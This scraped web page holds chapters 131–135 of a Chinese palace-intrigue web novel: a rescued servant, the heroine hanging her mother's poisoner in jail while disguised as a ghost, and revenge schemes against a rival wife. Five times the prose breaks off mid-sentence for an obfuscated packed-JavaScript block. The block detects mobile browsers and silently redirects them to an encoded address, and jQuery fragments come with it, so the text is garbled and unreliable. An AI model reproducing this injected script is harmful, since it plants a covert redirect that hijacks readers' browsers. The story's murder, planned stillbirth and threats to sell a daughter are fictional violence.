今日他不介意把所有恩怨全了结! 游建彬龇着牙,恨不得咬死他。然而不知什么原因,他没有像温氏那般继续张狂,而是克制地扭开了头。 在另一边。 文墨带着大批侍卫包围了侯府一整日,当宣旨的公公和魏家三口都离开后,尉迟凌便下令让文墨带领侍卫进府搜查。 虽然没搜出华平这个人,但在温氏的房间里,搜出了一些瓶瓶罐罐。 经尉迟凌亲自查看,这些瓶瓶罐罐中,有好几样药材都出自华湘阁。 “把温氏带过来!” “是,王爷。” 文岩命令去提人。 没一会儿便把晕死的温氏给扔到了尉迟凌面前,笑着说道,“王爷,二舅爷不小心把她踢晕了。” 看着温氏人不人鬼不鬼的样子,尉迟凌唇角狠狠抽动。 …… 夜时舒带着顾思沫再次来到那间柴房。 “二嫂,我堂姐说昨晚看到温氏和蒙面男从这里出去,我实在不理解,府中那么多隐蔽的房间,他们如果有什么不可告人的秘密,随便找间房都行,为何要在这么个柴房办事。但是我和二哥都没瞧出这柴房有问题,你帮忙看看,能不能瞧出什么?” 顾思沫在柴房走了一圈,每个角落都仔细地看了看,最后指着一堆没劈的木头说道,“这些木材堆放了许久,都长菌子了。” 闻言,夜时舒眸光一亮,立马唤外面的侍卫进来,“把这里面的东西全搬出去!” 柴禾是用来烧的,每日都会消耗。又不是常年空置的地方,哪有柴禾堆着长期不用的道理? 数名侍卫很快搬空了柴房的东西。 当那堆长菌子的木头被搬走后,露出一块八仙桌大小的木板。 夜时舒激动地上前把木板撬开,就见下面露出黑不见底的密室。 而一道沉闷的喘息声从密室传来—— “九姑!” 第131章 承王会医 夜庚新正陪游建川说话,听说在主院柴房找到了九姑,他立马撇下游建川朝主院奔去。 游建川、马氏、游宏馨一家三口看着他着急不已的神色,都迷惑不解,但侯府搜出承王府的人,这可不是小事,于是纷纷跟了去。 夜时舒和顾思沫刚把九姑从地下石室里扛出来。 还不等她们检查九姑的情况,就见夜庚新奔进柴房,一把将九姑从女儿夜时舒肩上夺了去—— “九姑!九姑!” 他连着唤了两声,可九姑除了发出闷哼声,连眼皮都睁不开。 他忙冲顾思沫问道,“芯儿,你快看看九姑她到底怎么了?” 夜时舒一脸黑线,“爹,您先把九姑放下!” 顾思沫也道,“爹,我还没来得及查看九姑的情况。” 夜庚新这才把九姑轻放在地上。 尉迟凌、夜时珽、夜时竣、游建川一家全都赶了过来,瞬间把柴房挤得满满当当。 顾思沫认真为九姑检查过后,说道,“对方为了囚住九姑,用了独特的针法封住了九姑的穴位。爹,先找间屋子,一会儿我就为九姑解穴。” 夜庚新没有迟疑,再次把九姑抱起快速冲出柴房。 游建川不解地朝夜时珽看去,“大外甥,这……” 夜时珽微微一笑,“二舅舅放心,这杯喜酒肯定少不了您和二舅母的。” 闻言,游建川和马氏对视了一眼,都惊喜的笑了。 他们不是不通情理之人,夜庚新这个妹夫为他们妹子守身十多年来,他自己被人笑话不说,夜家这些年没个女主人还一直被人笑话。 如今这个妹夫要再娶,这何尝不是一件高兴的事。 …… 顾思沫在房里给九姑施针,门外廊檐下,夜庚新背着手走来走去,片刻都停不下来。 “爹,您别着急,九姑一定会没事的。”夜时舒忍不住安慰他。 夜庚新停下脚步,望了一眼紧闭的房门,拧着眉长声叹了口气。 夜时舒朝身侧的尉迟凌看去。 这都半个时辰了,她二嫂还没有出来。 尉迟凌握着她的手捏了捏,示意她不用担心。 又约莫过了一盏茶功夫,房门才打开。 顾思沫抓着门框冲外面的他们笑了笑,“没事了,不过得让九姑好好睡一觉。” “芯儿!”夜时竣箭步冲向她将她搂住,看着她满脸豆大的汗,紧张不已地问道,“你怎么了?” “我没事,就是施针时耗损了不少内力……”顾思沫说着话软倒在他怀中。 “芯儿!” “二嫂!” 她这一晕,把所有人都吓了一跳。 夜时竣更是扯开嗓门喊了起来,“快叫大夫!快叫大夫!” 尉迟凌上前,从袖中拿出一只药瓶,递给他,低声交代,“喂她服下,一刻钟便会醒来。” 夜时竣抓过药瓶,接着把顾思沫抱去了隔壁。 夜庚新也赶紧进房去看九姑。 虽说九姑被解救了,可随着顾思沫的晕倒,气氛反而变得更沉闷压抑。 马氏主动说道,“你们忙了一整日,都没进食,我这就去厨房给你们做些吃的。” 游建川催促女儿,“快去帮你母亲,看看厨房都有什么食材,多做些补身的给九姑和华神医补补。” 马氏带着游宏馨很快离开了。 夜时舒揪心地问尉迟凌,“王爷,她们真不要紧吗?您要不要亲自给她们看看?” 尉迟凌随即走进九姑的房中。 夜庚新正坐在床头,手里拿着一块帕子为九姑擦脸上的汗液。 也不知道顾思沫是如何救治她的,她整个人像是从水里泡过似的,浑身都湿透了。 尉迟凌上前,为九姑把了把脉,然后对夜庚新说道,“她中了华平的**,又被华平封了穴道。华芯已为她施针,醒来便没事了。本王给她开个方子,按着方子调养数日便能痊愈。” 夜庚新睁大眼盯着他,“……” 承王还会医术? 他很不想相信,可是承王切脉的样子完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136949|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不像是装的,而且他是堂堂的承王,更没理由装成这样…… 文岩拿来笔墨。 夜庚新目瞪口呆地看着女婿执笔在纸上飞舞。 等一张方子递到他面前时,他看着纸上的药材名字,心下不由地发懵。 好几样药材都没听说过,确定这方子用了不会把人吃坏? 可理智又告诉他,九姑是承王的手下,承王救人都来不及,怎么可能害九姑? “九姑就有劳岳父大人照顾了,本王和舒儿还有事处理,先失陪了。” “……嗯。”听着女婿的话,夜庚新僵硬地点了点头。 等小夫妻俩一走,他立马抓住文岩,低声问道,“文护卫,王爷何时学会医术的?” 文岩笑了笑,回道,“将军,小的什么也不知,您方才什么也没看到。如果非要小的说点门道,兴许是华芯姑娘教的吧。” 夜庚新抿嘴,“……” 他现在才彻底发现,承王的能耐远远超出了常人的想象…… 关键是,皇上是否了解自己的儿子? 太子虽是嫡长子,可太子心胸狭隘,在朝中除了拉帮结派外,无任何作为。而承王不但文武双全,还擅长医术…… 且看承王手下的反应,这擅长医术的背后,貌似还有不为人知的秘密! …… 一盆冷水泼在温氏头上。 温氏颤抖着缓缓睁开眼。 站在她面前的除了尉迟凌和夜时舒外,还有京都府尹常昊。 见她醒来,常昊严厉地开口,“温氏,**九姑,敲诈勒索承王和承王妃,你可认罪?” 温氏跟落汤鸡似的,听到他的话,双眼狰狞得比之前还吓人。 常昊也不等她答话,拿出一张纸条向她展开,又威严地道,“这是王妃收到的勒索信,九姑被你关押在柴房地室中,现已救出。如今人赃并获,容不得你狡辩!” “夜时舒!你不得好死!哪怕你现在就杀了我,我做鬼也不会放过你!”温氏狰狞地朝着夜时舒咆哮。 第132章 厉鬼索命 夜时舒冷冷一笑,随即对常昊说道,“常大人,你也看到了,这温氏不仅**本王妃的侍女勒索本王妃的钱财,还想要本王妃的性命。” 常昊躬身回道,“王妃放心,温氏所犯之罪不可饶恕,下官定秉公办理,以正国法!” 说完,他朝身后挥手,喝道,“来人,将犯妇温氏拿下,押入大牢,听候发落!” 两名衙役上前,一人扯着温氏一条胳膊,像拖死狗一样将温氏拖走。 “夜时舒……”温氏还不甘心地回头狰狞叫嚣。 另一名衙役及时上前,一记手刀劈向她脖颈,直接将她劈晕了过去。 待人被拖走后,尉迟凌沉声对常昊说道,“常大人,此恶妇与江湖歹人勾结,恐那人会为了此恶妇劫狱,本王稍后便安排人手协助你。” 常昊躬身应道,“下官会配合王爷捉拿犯妇余党!” 他也没多留,随即便离开了。 …… 丞相府。 裕丰侯府的事很快便传到了丞相夫人南宫氏耳中。 南宫氏听后,拍桌怒道,“废物!好不容易抓到承王身边的人,竟叫他们全部搞砸了!” 报信的小厮又道,“夫人,那裕丰侯府不但更换了承袭人,那温氏还被京都府尹常昊带走了。小的担心,那温氏会把您招供出去。” 南宫氏闭上眼深吸了一口气。 冷静了片刻后,她才说道,“就算她提及本夫人,那也只是她一面之词,无需担心本夫人会受牵连。相反的,如果此时我们露面,反而有此地无银三百两之嫌。” 原本她还觉得游建彬是夜时舒的亲娘舅,对夜时舒及夜家了解颇多,只要稍微拉拢游建彬和温氏,他们一定会帮相府对付夜家。 可让她万万没想到,夜家和承王下手如此决绝,直接把游建彬和温氏整废了! 早知道,昨夜她就该派人把那个九姑弄到自己手上,也不至于白高兴一场! 罢了。 既然温氏靠不住,那还是按女儿说的去做吧…… 随即,她让丫鬟去把管家叫来跟前,吩咐管家,“本夫人的寿诞,请柬都准备好了吗?” 官家道,“回夫人,已经准备好了。” “派人给那个叫华芯的神医送去,就说本夫人很钦佩她的医术,很想结识她,请她务必来府中参加本夫人的寿宴。” “是,小的这就去办。” …… 顾思沫在服用了尉迟凌给的药丸后,没多久便醒了过来。 夜时竣看着她比九姑还像病人,心疼坏了,蹲在床头捂着她的手紧张的与她说话,“芯儿,你怎么样,可有哪里不适?你要哪里不适一定要告诉我,可别傻乎乎地硬撑!” 顾思沫虽然虚弱,但还是冲她笑了笑,“我没事。就是华平下手太狠了,他用华湘阁的秘术封锁了九姑的穴道,要解穴必须动用内力。” 夜时竣咬着牙脱口而出,“那东西肯定是故意的!他就是怕九姑被我们找到,所以才对九姑下手那么狠,因为他知道我们要救九姑,势必要你大伤元气,如此一来,他就可以肆无忌惮地对付我们了!” 顾思沫又笑了笑,“不用担心,他对付不了我们的。” 夜时竣倾身在她额头上亲了亲。 正在这时,有小厮在门外唤道,“二公子。” 夜时竣直起身去开门。 “何事?” “禀二公子,丞相夫人派人给华神医送来请柬,邀请华神医五日后去参见她的寿宴。” 夜时竣脸臭地接过小厮手中的请柬,打开看了一眼,唾骂道,“呸!四十就过寿,真是个短命的!” 小厮差点喷笑。 夜时竣冲他摆了摆手,“你去回话,就说送到了。” “是。”小厮躬身退下。 夜时竣回到屋内。 顾思沫已经坐了起来,哭笑不得地看着他,“我又没说会去,你黑脸做甚?” 夜时竣骂道,“那女人仗着自己是丞相夫人,以为人人都要给她面子,她也不撒泡尿照照自己,她算个什么东西!” 不怪他痛恨丞相夫人南宫氏,上一次南宫氏为顾家保媒,想把顾诗雅嫁给他,这笔账他可是一直给南宫氏记着的! 顾思沫伸手拉他,“我知道你恨她,但在外面你得收敛着,别给爹惹麻烦。” 夜时竣在床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136950|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头坐下,斜着头,眼珠子转了两圈,突然咧嘴笑道,“那东西让你去参加寿宴,肯定没安好心。回头我就去找小妹,跟她合计合计,到时我们一起去。小爷我就不信了,凭我和小妹联手,再加上王爷妹夫撑腰,整不死他们!” 顾思沫眼角狠狠一抽。 …… 昏暗的大牢,白日都不见光,更别说到了晚上,随处都是阴冷的气息。 温氏被关在一个角落里。 一开始她还叫骂不断,可不论她叫得多撕心裂肺,始终无人理睬她,最后还是她把嗓子叫哑了才自己安静下来。 她这间牢房里,没有草席,也没有吃的,甚至连滴水都没人给她送来。冷静下来的她,抱着膝盖卷缩着,莫名地感到寒意钻心。 忽然,一道‘呜呜’的声音从远处传来。 大牢中,就算是狱卒走路也伴有回音,更别说这‘呜呜’地哭声,那回音直让人汗**直立、心跳加速。 偏偏这诡异的哭声离她越来越近,她想忽略都不行。 然而,就在她抬头,想看看是哪个新囚哭得如此瘆人时,一张白得发亮的脸惊现牢门外—— “啊!” 猝不及防的她瞬间发出惊恐的叫声。 可牢门外的女子非但没有被她叫声吓退,还朝她开口—— “大嫂……是我……月琴……” 温氏整个人定住,双瞳突凸地瞪着她。 昏暗的光线都掩盖不住女人一身白衣,她双手垂在两侧,满身都是死沉的气息。而那张脸,白森森泛着青光的,根本就不是活人该有的。 最主要的是,那张脸分明就是她那个**十几年的小姑子! “鬼啊——” 温氏再次破嗓尖叫,躲到墙角不停地颤抖。 “大嫂……我死得好惨……你何时为我偿命……” “鬼啊——鬼啊——”温氏越发疯狂地惨叫。 然而,不管她如何叫,始终没有人来。 反倒是女鬼讨命的声音越来越响亮—— “大嫂……你还我命来……还我命来……” “不关我的事!是葛氏毒害的你!你要讨命找她去!啊!” 第133章 温氏自缢 “大嫂……是你给的**……是你……我要你还我的命……” “不是的!不是的!”温氏抱着头崩溃地嘶吼,“**是华平给的!给你下毒的人是葛氏!我什么都没做!什么都没做——” “呵!是吗?”女人瘆人的嗓音突然变成了正常人的冷笑。 而且这冷笑声让温氏格外熟悉。 她僵硬地抬起头,突凸的双瞳中还有惊魂未定的惊惧,只是当看着女鬼扯下白森森的脸皮时,她满眼的恐惧瞬间化成了**的愤怒。 “夜时舒!你这个**,竟敢扮成**模样诈我!” “诈你又怎么了?就算你什么也不承认,你也别想活着出去。”夜时舒拿出钥匙打开牢门上的锁,从腰间抽出一根长绳,一步步朝她走过去。 “你、你要做什么?”温氏眼中再次泛起惊恐,整个人贴着墙壁,恨不得能钻进墙体中。 “温氏,我早就怀疑我娘亲的死与你和葛氏脱不了干系!如今你也承认了,你觉得我还会放过你吗?”夜时舒满身笼罩着恨怨,双眸中释放出的杀气比之前乔扮的鬼气还凌厉吓人,“你们为了我夜家的财产,不惜毒害我娘,让她与丈夫阴阳相隔、与骨肉永远分别!温氏,我要你不得好死——” “不——” …… 翌日。 魏府。 管家到葛氏面前禀报,“夫人,听说温氏昨晚被冤魂索命,死在大牢里了!” 葛氏惊诧又不置信地道,“冤魂索命?怎么可能?” “夫人,是真的!衙门亲自发布的消息,说温氏昨夜莫名奇妙的上吊自缢,而且脚下还留了血字,写着‘血债血偿’!” “什么?!”葛氏激动地从椅子上弹起,脸色瞬间大失血。 她没见过鬼神,平日里不怎么信那些。但温氏的死,让她不由地想起她们曾经一起做过的事…… 难道世上真有鬼不成? 可这么多年过去了,那游月琴怎么才出来报仇? 不! 不可能是游月琴,只可能是夜时舒他们装神弄鬼! “对了,夫人,老爷今早从账房那里支了一千两银子。”管家又禀报另一件事。 “一千两?他要做什么?”葛氏立马怒问道。 “回夫人,老爷说玉姨娘身子孱弱,担心她腹中孩子养不好,要给玉姨娘买滋补的食材进补。” “该死的老混蛋,一个千人睡的玩意儿生的贱种,也值得花重金滋养?他是真要把我气死才甘心啊!”葛氏破口大骂。 自从那个**进了府后,魏广征几乎不再来她院子,说白了就是嫌她人老珠黄! 管家垂着眼没敢吱声。 “你先下去吧!” “是。” 目送管家离去,葛氏望着门外,眼神越发阴狠。 如果是别人,一定会趁那**未满三月前动手,让那**没办法再母凭子贵。 可她不会那样做。 如今那孽种还未成形,她让那**流掉孽种,未免太便宜那**了。 她要等那孽种成了形,等到所有人都以为那**的胎象稳定了再动手!如此一来,那**非但生不出活胎,还会因为死胎一尸两命! …… 裕丰侯府。 九姑醒来的时候发现深处陌生的环境,惊得她下意识地坐起身。 “九姑,你醒了。”床帘揭开,夜庚新难掩欣喜,并关心地问道,“可还有哪里不适?” “将……将军?”九姑惊诧他的出现。 “别担心,已经没有危险了。” 夜庚新随即向她说起这两日的经过。 虽然房间里就他们,可九姑听完后还是感动得红了眼,哽咽道,“都是我的大意,让你们大家为我受累了!” 夜庚新把床帘挂上,坐上床头,温声与她说道,“你也不能太过自责,那华平本就不是寻常人,别说你了,就算是我,也对付不了他。好在你没事,大家也都心安了。” 九姑抬眼问道,“王爷和王妃呢?” “他们昨日便离开了侯府,说是要去捉拿华平。” “哦。” 正在这时,夜时珽的声音从门外传来。 夜庚新起身去开门。 听儿子带来的消息,他惊诧不已,“**?冤魂索命?” 夜时珽点了点头,“衙门什么也没查出来,只能下此结论。” 夜庚新眉头皱起。 什么冤魂,早不索命晚不索命,偏偏在温氏入狱后向她索命? 莫非…… 他突然问道,“时竣,有王爷和舒儿的消息吗?他们现在在哪?” 夜时珽回道,“他们昨日就回了承王府,在府中休息呢。今早时竣就带着芯儿去承王府,说是找小妹商量事情。” 夜庚新忍不住板起脸,“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136951|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兔崽子,都成亲了,还成天上蹦下蹿的,一点样子都没有!” 夜时珽却忍不住失笑。 本以为兄弟成了亲会改改性子,最起码稳重些,没想到弟妹也是个闲不住的。现在是兄弟没改变任何,身边还多了个人陪他蹦蹦跳跳。 “爹,九姑醒了吗?” “嗯。” “那我让人把汤药端过来。您从昨夜到现在也没怎么进食,等下我让人把饭菜一并送过来。” “好。” 目送儿子走远后,夜庚新才关上房门回到床边。 九姑环视了一圈屋子,问道,“我们这是在哪?” “裕丰侯府。” “哦。” “你都两天没进食了,先吃了东西再回将军府。” 九姑不自然地愣了愣,低下头低声道,“将军,我想回承王府。” 夜庚新一听,心中蓦然升起一团火,“我不过就是那日没将你的话听进去,难道就因为如此你便要与我划清关系?” 九姑不语。 夜庚新伸手握住她的手,软了语气,“我没有不信任你的意思,只是当时在气头上……你就别生气了,行吗?” “……嗯。” “侯府的人都知道我们的事了,要不了多久便会传开。避免被人说三道四,我决定等你身子好了,就挑个日子把我们的事办了。” 闻言,九姑抬起头,惊愕地看着他,“如此合适吗?” 夜庚新没好气地道,“不然呢?难道你想我们不清不楚的继续下去?我一辈子堂堂正正的,既然要同你在一起,那就得给你名正言顺的身份!你别跟我说那些什么配不配的,我夜家没那么多讲究!若是谁敢编排你半句,” 九姑被他说得无言以对。 论身份,她说不上话。论口才,她也争不过。 于是她转移话题,问道,“大公子方才说温氏死在大牢中?” “嗯,衙门都发了公告了。” “死有余辜!”九姑冷下脸恨道,“温氏伙同华平,不但想拿我去找王妃换银子,还想拿去我找太子换上次,然后再……再把我卖进窑子……” ‘咔咔’! 夜庚新猛地捏响指骨,咬着牙溢道,“好毒的妇人!” 见他起身,九姑赶紧问他,“你要去哪?” “我去衙门要她的尸首,然后扔到乱葬岗喂狗!” “……!” 第134章 替母报仇 另一边。 游清柔醒来后,知道魏家已经休了她,她罕见的没有吵闹,像失了魂魄似的双眼空洞地望着头顶,数个时辰都一动不动。 游建彬进到屋子,看她一脸死气的样子,直接大骂起来,“你个不争气的赔钱货,你母亲都**,你还在这里发呆!早知道养你这般无用,还不如养头畜生呢!” 游清柔猛地扭头,空洞的双目瞬间凌厉,“你说什么?母亲**?” 游建彬恶狠狠地道,“老子现在没了侯位,养自己都养不活,她**才更好呢!老子养了你十**年,如今身无分文,你要是想不到办法孝敬老子,老子就把你卖进青楼换银子!” 要是换了从前,游清柔只怕难以置信,自己的亲生父亲竟要把自己卖进青楼…… 可遭遇了一件又一件的变故,此时听着游建彬的话,她一没有震惊、二没有悲愤、三没有吵闹,只阴阴冷冷地把这个亲生父亲盯着。 “瞪什么瞪?你以为老子再同你说笑?赶紧给老子把身子养好,给老子赚银子去!”游建彬扭曲着脸凶相毕露。 从小到大他没做过任何事,如今祖业没了,俸禄也没了,要他出去赚钱,那真是比讨饭还难。 好在这个女儿也不是一点用处都没有,至少还能换点银子! “你滚!”游清柔猛地大叫起来。 ‘啪’! 一巴掌狠狠地扇在她脸上。 游建彬怒吼着威胁,“你要敢不听老子的话,老子就杀了你!反正你那个恶毒的娘已经**,老子送你下去陪她!” 游清柔本就虚弱,这一巴掌扇得她眼冒金星,耳朵里全是‘嗡嗡嗡’的声音,整个人僵得仿佛死去。 游建彬是没解气的,可看她要死不活的样子,还是存了一丝理智没再动手。 毕竟他现在失去了所有,且又没有谋生的本事,能靠的就只有女儿这具身体和这张还算漂亮的脸蛋…… “哼!”他再次恶狠狠地瞪了一眼,然后愤袖离去。 …… 承王府。 夜时舒睡到午后才醒。 一醒来就听到消息,说自家老爹去衙门把温氏的尸体要走了。 “他要做什么?难不成他想给温氏办理后事?”她沉着脸反问文岩,脑子里已经想好接下来要做的事了,她爹若真要给温氏办理后事,她立马就去侯府毁棺鞭尸! “王妃,您误会了。听说将军把温氏的尸体要走后,亲自扔去了乱葬岗,并引野狗围咬后才离开。”文岩解说道。 “呃……”夜时舒唇角狠狠扯动。 她怎么没想到这样处理呢? 竟然还给温氏留了个全尸! 看她一脸懊悔的样子,尉迟凌不用问都知道她在想什么,冷不丁地开口,“还有机会同岳父大人学习,毕竟还有一个葛氏。” “对啊!还有一个葛氏!”夜时舒咬起牙,恨得心口发疼。 温氏是递刀的,葛氏是拿刀的,这两个毒妇,她一个都不会放过! 想到什么,她问文岩,“我二哥现在在哪?” 文岩笑道,“二舅爷早就来了王府,这会儿正和华芯姑娘在房里捣鼓药材呢。丞相夫人给华芯姑娘送了请柬,邀请华芯姑娘去参见她的寿宴。华芯姑娘说丞相夫人没安好心,便在府中提前准备。” “丞相夫人寿宴?”夜时舒朝尉迟凌看去,“我们没收到请柬吗?” “你想去?”尉迟凌不答反问。 “我二嫂要去的话,我肯定要去!不然他们坑害我二嫂,谁替我二嫂撑腰?” 尉迟凌勾起唇角,“想去便去,有无请柬又如何,难道他们还敢把你拦在大门外?” 夜时舒听他这么一说,立马笑了。 正说着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136952|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话呢,夜时竣和顾思沫便来了。 “二哥,我正想让文岩去叫你呢!” “何事?”夜时竣躺坐在客椅上,一边捏手臂一边说道,“没想到捣药那么废劲儿,比跟人打架还累!” 夜时舒白了他一眼,然后直接进入正题,“玉娘现在在魏家不是怀了身孕吗?上次是郝福派人去做的,这次就你派人去吧,多挑几个美人,让玉娘打着好姐妹的旗号,把人全收进魏家。” 夜时竣有点不理解,“一个玉娘已经把魏广征迷得神魂颠倒了,没必要再给魏广征送人了吧?” 夜时舒冷着脸道,“必须送!我要让魏广征彻底变得荒淫无度!最好能活活气死葛氏!” 夜时舒看着她眸中倾泻而出的滔天恨意,更加不理解了,“小妹,那玉娘已经让葛氏失宠了,咱们对葛氏的报复应该也差不多了,没必要再给魏广征白送女人。” 夜时舒深吸一口气,咬着牙道,“昨夜我扮成母亲的样子去大牢吓温氏,温氏全部交代了,是她和葛氏联手给我们娘亲下药的!” “什……什么?!”夜时竣猛地从座椅上跳起来,脸色刷地铁青,“是她们害死的娘亲?!” “对!” “该死的!我要将她们千刀万剐!”夜时竣低吼着就要往外跑。 “时竣!”顾思沫眼疾手快地奔过去将他拽住。 夜时竣双眼通红,眼中全是杀气,“我要杀了她们!杀了她们!” 夜时舒也赶忙上前将他拉住,“二哥,别冲动,你现在就这么跑去**,你也会惹祸上身的!娘亲死得冤,但娘亲绝对不愿意看我们为了她把自己毁了!” 夜时竣死死地攥着拳头,恨道,“好!我暂时不动她!我现在就去找女人,先把魏广征搞垮,让他们一家不得安宁,然后再让他们家破人亡、不得好死!” 第135章 宠妾灭妻 三日后。 魏府。 听说玉娘要给自己惊喜,魏广征下了朝便早早地回了府。 “玉娘,不是说要给我惊喜吗?是何惊喜,快让我瞧瞧!”一进玉娘院子,他便迫不及待地催促。 “老爷,您别心急,先听妾身说。”玉娘牵着他上榻坐下,然后坐到他腿上,温柔又妩媚地抚着他心口,说道,“妾身怀了身孕,往后身子会越发重,没法将您服侍周到。正好妾身有几个相熟的姐妹,她们走投无路便想来投靠妾身。她们也不求大富大贵,只求有一处栖身之地、有一口饭吃便足以。老爷,如此大的事,妾身做不了主,也不敢禀明夫人,只得偷偷同您商量,您要是不同意,妾身这就让她们离去。” 魏广征早就沦陷在她的温柔妩媚中,这会儿听她说要让自己的姐妹来服侍他,心里瞬间泛起了泡,但面上他却佯装出一本正经的样子,说道,“她们模样如何,可有你漂亮?手脚可否勤快,可有你这般能干?” 玉娘从他腿上起身,娇笑道,“老爷,她们若是不漂亮不能干,妾身哪敢让她们来服侍您?这会儿她们就在隔壁呢,您可亲自去看看。若是不满意,您随便打发了便是。” 魏广征哪里还坐得住,赶紧起身往隔壁厢房去。 望着他急不可耐的背影,玉娘红唇狠狠勾勒。 二公子说了,只要这件事办好了,便给她五千两黄金…… 隔壁。 魏广征一进屋便被定了神。 四名年轻女子,个个貌美如花不说,那婀娜多娇的身段仅是瞧一眼便让人血脉卉张。特别是眼前的她们身着纱衣,单薄得让人爱怜,又魅惑得让人沉沦。 “奴家拜见老爷!”四位美人上前,连行礼都是那么勾魂摄魄。 “免礼免礼!”魏广征扶起最中间的美人。 这一上手,那肤如凝脂的触感直接让他心都酥了,垂涎的口水仿佛要从直勾勾的眼神中流淌出来。 “老爷,四位妹妹怎样,您可满意?”玉娘走进来,娇笑着问他。 “满意满意……”魏广征点着头,眼神仍旧不舍得离开四位美人。 “老爷,妾身为了孩子着想,没法再服侍您,以后就靠这四位妹妹了……只是夫人哪里?”玉娘一脸担忧。 “管她作甚?”提到葛氏,魏广征眼中立马充满了厌恶,总算肯移开目光,回头看着玉娘道,“她那人一辈子都精于算计,从未像你一样为我着想过!何况她现在一把年纪了,我看着她都倒胃口,她要是敢作妖,我定要休了她!” 玉娘柔声安慰,“老爷,您别生气,玉娘可不希望你为了我和妹妹们同夫人置气。气坏了身子,玉娘和妹妹们可是为心疼的。” 魏广征摸着她的脸,笑说道,“这世上,就玉娘最知我懂我了。你放心,待你生下孩子,我就抬你做平妻,让那老女人再也不敢欺负你!” “谢老爷。”玉娘魅声谢恩,随即便朝他挤眼色,“老爷,四位妹妹刚来,对您还不太熟悉。您现在就陪陪她们吧,让她们多了解了解您。妾身就不打扰你们了,先回房休息了。” “好好好……”魏广征脸都快笑出花了。 玉娘又朝四位美人笑了笑,然后退出房门,还体贴地为他们把门关上。 另一边。 丞相夫人的寿宴,葛氏也收到了请柬。 她想把珍藏的一尊玉佛送给丞相夫人做寿礼,可是到了库房后才听管家说,“夫人,那尊玉佛半个月前就被老爷拿走了。老爷说玉姨娘怀了身子,半夜梦魇,疑似妖邪作祟,便把那尊玉佛送去了玉姨娘房中给玉姨娘压惊。” “什么?!”葛氏险些吐血,黑着脸骂道,“好个**,竟敢玷污我的珍藏,看我不撕了她!” 随即她便带着管家往玉姨娘的院子去。 一进院就听见其中一间房传来男女打情骂俏的声音,甚是有些话还不堪入耳。 葛氏既火大又疑惑,这并不是玉娘的声音,而且好像不止一个女人…… 她快速朝那间房奔去,一脚狠狠将房门踹开。 这门一开,不但她定住了。 屋里的人也被狠狠惊到了,纷纷安静下来,并齐刷刷地望着她。 “魏广征,你个不要脸的老东西,竟然大白天里与这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136953|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些**鬼混!”怒火从葛氏的心口冲向脑门,气得她冲进屋内,把魏广征身上的一个美人狠狠扯开,接着一耳光扇向美人的脸,“该死的**,勾人都勾到我府里来了,看我不打死你们!” 被打的媒人立马捂着脸呜呜哭了起来。 其余三个美人吓得直往魏广征身后躲,纷纷叫着‘老爷救命’。 魏广征看着那哭得梨花带雨的美人,心疼得难以言语。特别是另外三个美人集体要他保护,他一股英雄感油然而生,立马炸了**,起身就冲葛氏扇去一巴掌。 “恶毒!她们招你惹你了,敢当着我的面对她们动手,我看你是不想好好过了!” 葛氏的巴掌哪能跟他的巴掌相比? 她一巴掌最多把美人打红脸,可魏广征的一巴掌就跟铁板似的,直接扇得她身形不稳倒在地上。 ‘噗’! 一口血吐出来,她顿觉口中异样,忍不住抬手摸去,接着就看到地上血水中躺着一颗大牙。 